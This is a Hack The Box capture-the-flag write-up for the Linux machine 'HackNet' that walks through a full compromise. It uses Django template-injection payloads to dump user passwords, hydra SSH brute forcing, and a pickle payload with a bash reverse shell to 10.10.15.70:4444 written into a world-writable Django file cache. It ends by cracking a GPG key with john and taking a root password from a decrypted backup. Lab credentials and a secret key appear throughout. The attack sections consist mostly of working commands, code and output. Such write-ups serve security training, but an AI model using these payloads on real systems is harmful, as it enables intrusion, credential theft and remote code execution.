> m4rt@CTF_ARCHIVE:~$

// ATTACHMENTS

Hack The Box / LINUX / 2026-01-17

Hack The Box — HackNet (Linux)

Django SSTI leaks user credentials, SSH access is obtained as mikey, file-based Django cache poisoning leads to sandy, and cracked GPG backup secrets lead to root.

Target

Target IP: 10.10.11.85

Port scan

sudo nmap -sC -sV 10.10.11.85 -p- -v
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 95:62:ef:97:31:82:ff:a1:c6:08:01:8c:6a:0f:dc:1c (ECDSA)
|_  256 5f:bd:93:10:20:70:e6:09:f1:ba:6a:43:58:86:42:66 (ED25519)
80/tcp open  http    nginx 1.22.1
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://hacknet.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add hacknet.htb to /etc/hosts.

Web reconnaissance

Go to http://hacknet.htb/. The Wappalyzer browser extension shows the site is made with Django.

Useful site: https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/django.html?highlight=django#django

Let's identify the exact Django version.

Get base.css from the site:

wget http://hacknet.htb/static/admin/css/base.css

Clone Django repository:

git clone https://github.com/django/django.git

Use a script to check which Django tags contain that exact base.css file. See script check_hash.sh.

./check_hash.sh
Checking 5.0.2... MATCH
Checking 5.0.3... MATCH
Checking 5.0.4... MATCH
Checking 5.0.5... MATCH
Checking 5.0.6... MATCH
Checking 5.0.7... MATCH
Checking 5.0.8... MATCH
Checking 5.0.9... MATCH
Checking 5.0.10... MATCH
Checking 5.0.11... MATCH
Checking 5.0.12... MATCH
Checking 5.0.13... MATCH
Checking 5.0.14... MATCH

So the target Django version is one of these. There are vulnerabilities for some of these versions; I tried exploiting them but it did not work.

SSTI in likes view

Go to http://hacknet.htb/. Register with any user.

We can edit the profile (for example, username).

Useful site: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Python.md

Set username to {% csrf_token %} and save.

Click explore. Like a post.

Click likes, intercept the request in Burp, send to Repeater, and resend.

In the response we see:

<img src="/media/profile.png" title="<input type="hidden" name="csrfmiddlewaretoken" value="qZOyeIzYSvrilJDJ5mjPXKfioLesj7P3cfP0Z88rrM82VcKM7SwmStOjxK7oFmDG">">

So SSTI is present.

Payloads are short, so we cannot easily extract Django secret key. But we can extract user data.

Users that liked the post are passed to the template.

Payload:

{{ users.all }}

This returns all users who liked the article.

Then with payloads such as:

{{ users.all.0.email }}
{{ users.all.0.username }}
{{ users.all.0.password }}

we can extract email, username, and password of all users.

We also discover we can like and view likes on private posts.

I automated extraction for all users in get_user_infos.py.

The script creates an article to identify a valid article ID. Then for each article, it likes it and extracts info about other users who liked it.

python3 get_user_infos.py

After filtering unrelated users, we get:

email username password
zero_day@hushmail.com zero_day Zer0D@yH@ck
blackhat_wolf@cypherx.com blackhat_wolf Bl@ckW0lfH@ck
datadive@darkmail.net datadive D@taD1v3r
codebreaker@ciphermail.com codebreaker C0d3Br3@k!
netninja@hushmail.com netninja N3tN1nj@2024
darkseeker@darkmail.net darkseeker D@rkSeek3r#
trojanhorse@securemail.org trojanhorse Tr0j@nH0rse!
exploit_wizard@hushmail.com exploit_wizard Expl01tW!zard
brute_force@ciphermail.com brute_force BrUt3F0rc3#
hexhunter@ciphermail.com hexhunter H3xHunt3r!
rootbreaker@exploitmail.net rootbreaker R00tBr3@ker#
packetpirate@exploitmail.net packetpirate P@ck3tP!rat3
stealth_hawk@exploitmail.net stealth_hawk St3@lthH@wk
whitehat@darkmail.net whitehat Wh!t3H@t2024
virus_viper@securemail.org virus_viper V!rusV!p3r2024
cyberghost@darkmail.net cyberghost Gh0stH@cker2024
shadowcaster@darkmail.net shadowcaster Sh@d0wC@st!
bytebandit@exploitmail.net bytebandit Byt3B@nd!t123
shadowmancer@cypherx.com shadowmancer Sh@d0wM@ncer
phreaker@securemail.org phreaker Phre@k3rH@ck
shadowwalker@hushmail.com shadowwalker Sh@dowW@lk2024
cryptoraven@securemail.org cryptoraven CrYptoR@ven42
glitch@cypherx.com glitch Gl1tchH@ckz
deepdive@hacknet.htb deepdive D33pD!v3r
mikey@hacknet.htb backdoor_bandit mYd4rks1dEisH3re

Emails may indicate machine users. Put email names before @ into users.txt. Put passwords into passwords.txt.

Bruteforce SSH credentials:

hydra -L ./users.txt -P ./passwords.txt ssh://hacknet.htb -t 4
[22][ssh] host: hacknet.htb   login: mikey   password: mYd4rks1dEisH3re

Initial access

ssh mikey@hacknet.htb

Enter password mYd4rks1dEisH3re.

mikey@hacknet:/var/www/HackNet/HackNet$ ls -la /home
total 16
drwxr-xr-x  4 root  root  4096 Jul  3  2024 .
drwxr-xr-x 18 root  root  4096 Sep  8 09:46 ..
drwx------  7 mikey mikey 4096 Sep 30 11:22 mikey
drwx------  6 sandy sandy 4096 Sep 11 07:18 sandy
cat /etc/nginx/sites-available/HackNet
server {
    listen 80;
    server_name hacknet.htb;

    location = /favicon.ico { access_log off; log_not_found off; }
    location /static/ {
        root /var/www/HackNet;
    }
    location /media  {
        root /var/www/HackNet;
    }

    location / {
        include proxy_params;
        proxy_pass http://unix:/run/gunicorn.sock;
    }
}

So the site is in /var/www/HackNet.

cat /var/www/HackNet/HackNet/settings.py

Important findings:

SECRET_KEY = 'agyasdf&^F&ADf87AF*Df9A5D^AS%D6DflglLADIuhldfa7w'
DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.mysql',
        'NAME': 'hacknet',
        'USER': 'sandy',
        'PASSWORD': 'h@ckn3tDBpa$$',
        'HOST':'localhost',
        'PORT':'3306',
    }
}

CACHES = {
    'default': {
        'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
        'LOCATION': '/var/tmp/django_cache',
        'TIMEOUT': 60,
        'OPTIONS': {'MAX_ENTRIES': 1000},
    }
}

If we try su as sandy, that password does not work.

We noticed file-based cache. Useful site: https://notes.subh.space/linux-privilege-escalation/django-cache-rce

Cache poisoning to sandy shell

Create script gen_django_cache_pickle.py:

import pickle
import base64
import os


class RCE:
    def __reduce__(self):
        cmd = ('bash -c "bash -i >& /dev/tcp/10.10.15.70/4444 0>&1"')
        return os.system, (cmd,)


if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(base64.urlsafe_b64encode(pickled))
python3 gen_django_cache_pickle.py
gASVTgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDNiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE1LjcwLzQ0NDQgMD4mMSKUhZRSlC4=

Start netcat listener:

nc -vlnp 4444

On victim:

cd /var/tmp/django_cache/
ls -la

Initially empty.

If we browse http://hacknet.htb/explore and run ls -la again:

total 16
drwxrwxrwx 2 sandy www-data 4096 Sep 30 13:05 .
drwxrwxrwt 4 root  root     4096 Sep 30 00:00 ..
-rw------- 1 sandy www-data   34 Sep 30 13:05 1f0acfe7480a469402f1852f8313db86.djcache
-rw------- 1 sandy www-data 2048 Sep 30 13:05 90dbab8f3b1e54369abdeb4ba1efc106.djcache

There are two files, owned by sandy. Directory is world readable/writable, so we can replace files with our base64 payload.

Use:

for i in $(ls *.djcache); do (rm -f $i; echo 'gASVTgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDNiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE1LjcwLzQ0NDQgMD4mMSKUhZRSlC4=' | base64 -d > $i); done

Refresh /explore page.

We get a reverse shell as sandy.

We can create .ssh/authorized_keys for persistent SSH access.

GPG backup cracking and root

ls -la /var/www/HackNet/backups
-rw-r--r-- 1 sandy sandy 13445 Dec 29  2024 backup01.sql.gpg
-rw-r--r-- 1 sandy sandy 13713 Dec 29  2024 backup02.sql.gpg
-rw-r--r-- 1 sandy sandy 13851 Dec 29  2024 backup03.sql.gpg
gpg --list-secret-keys
/home/sandy/.gnupg/pubring.kbx
------------------------------
sec   rsa1024 2024-12-29 [SC]
      21395E17872E64F474BF80F1D72E5C1FA19C12F7
uid           [ultimate] Sandy (My key for backups) <sandy@hacknet.htb>
ssb   rsa1024 2024-12-29 [E]
gpg --output /dev/shm/backup01.sql --decrypt ./backup01.sql.gpg

It asks for private key passphrase.

cd /home/sandy/.gnupg/private-keys-v1.d
ls -la
total 20
drwx------ 2 sandy sandy 4096 Sep  5 07:33 .
drwx------ 4 sandy sandy 4096 Sep 30 13:33 ..
-rw------- 1 sandy sandy 1255 Sep  5 07:33 0646B1CF582AC499934D8503DCF066A6DCE4DFA9.key
-rw------- 1 sandy sandy 2088 Sep  5 07:33 armored_key.asc
-rw------- 1 sandy sandy 1255 Sep  5 07:33 EF995B85C8B33B9FC53695B9A3B597B325562F4F.key

Copy armored_key.asc to attacker machine.

gpg2john armored_key.asc > hash
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash

Recovered passphrase:

sweetheart       (Sandy)

Decrypt backups:

gpg --output /dev/shm/backup01.sql --decrypt ./backup01.sql.gpg
gpg --output /dev/shm/backup02.sql --decrypt ./backup02.sql.gpg
gpg --output /dev/shm/backup03.sql --decrypt ./backup03.sql.gpg

Enter recovered passphrase.

In backup02.sql we find:

(47,'2024-12-29 20:29:36.987384','Hey, can you share the MySQL root password with me? I need to make some changes to the database.',1,22,18),
(48,'2024-12-29 20:29:55.938483','The root password? What kind of changes are you planning?',1,18,22),
(49,'2024-12-29 20:30:14.430878','Just tweaking some schema settings for the new project. Won’t take long, I promise.',1,22,18),
(50,'2024-12-29 20:30:41.806921','Alright. But be careful, okay? Here’s the password: h4ck3rs4re3veRywh3re99. Let me know when you’re done.',1,18,22),
(51,'2024-12-29 20:30:56.880458','Got it. Thanks a lot! I’ll let you know as soon as I’m finished.',1,22,18),
(52,'2024-12-29 20:31:16.112930','Cool. If anything goes wrong, ping me immediately.',0,18,22);

Switch to root:

su root

Enter password:

h4ck3rs4re3veRywh3re99

We get a shell as root.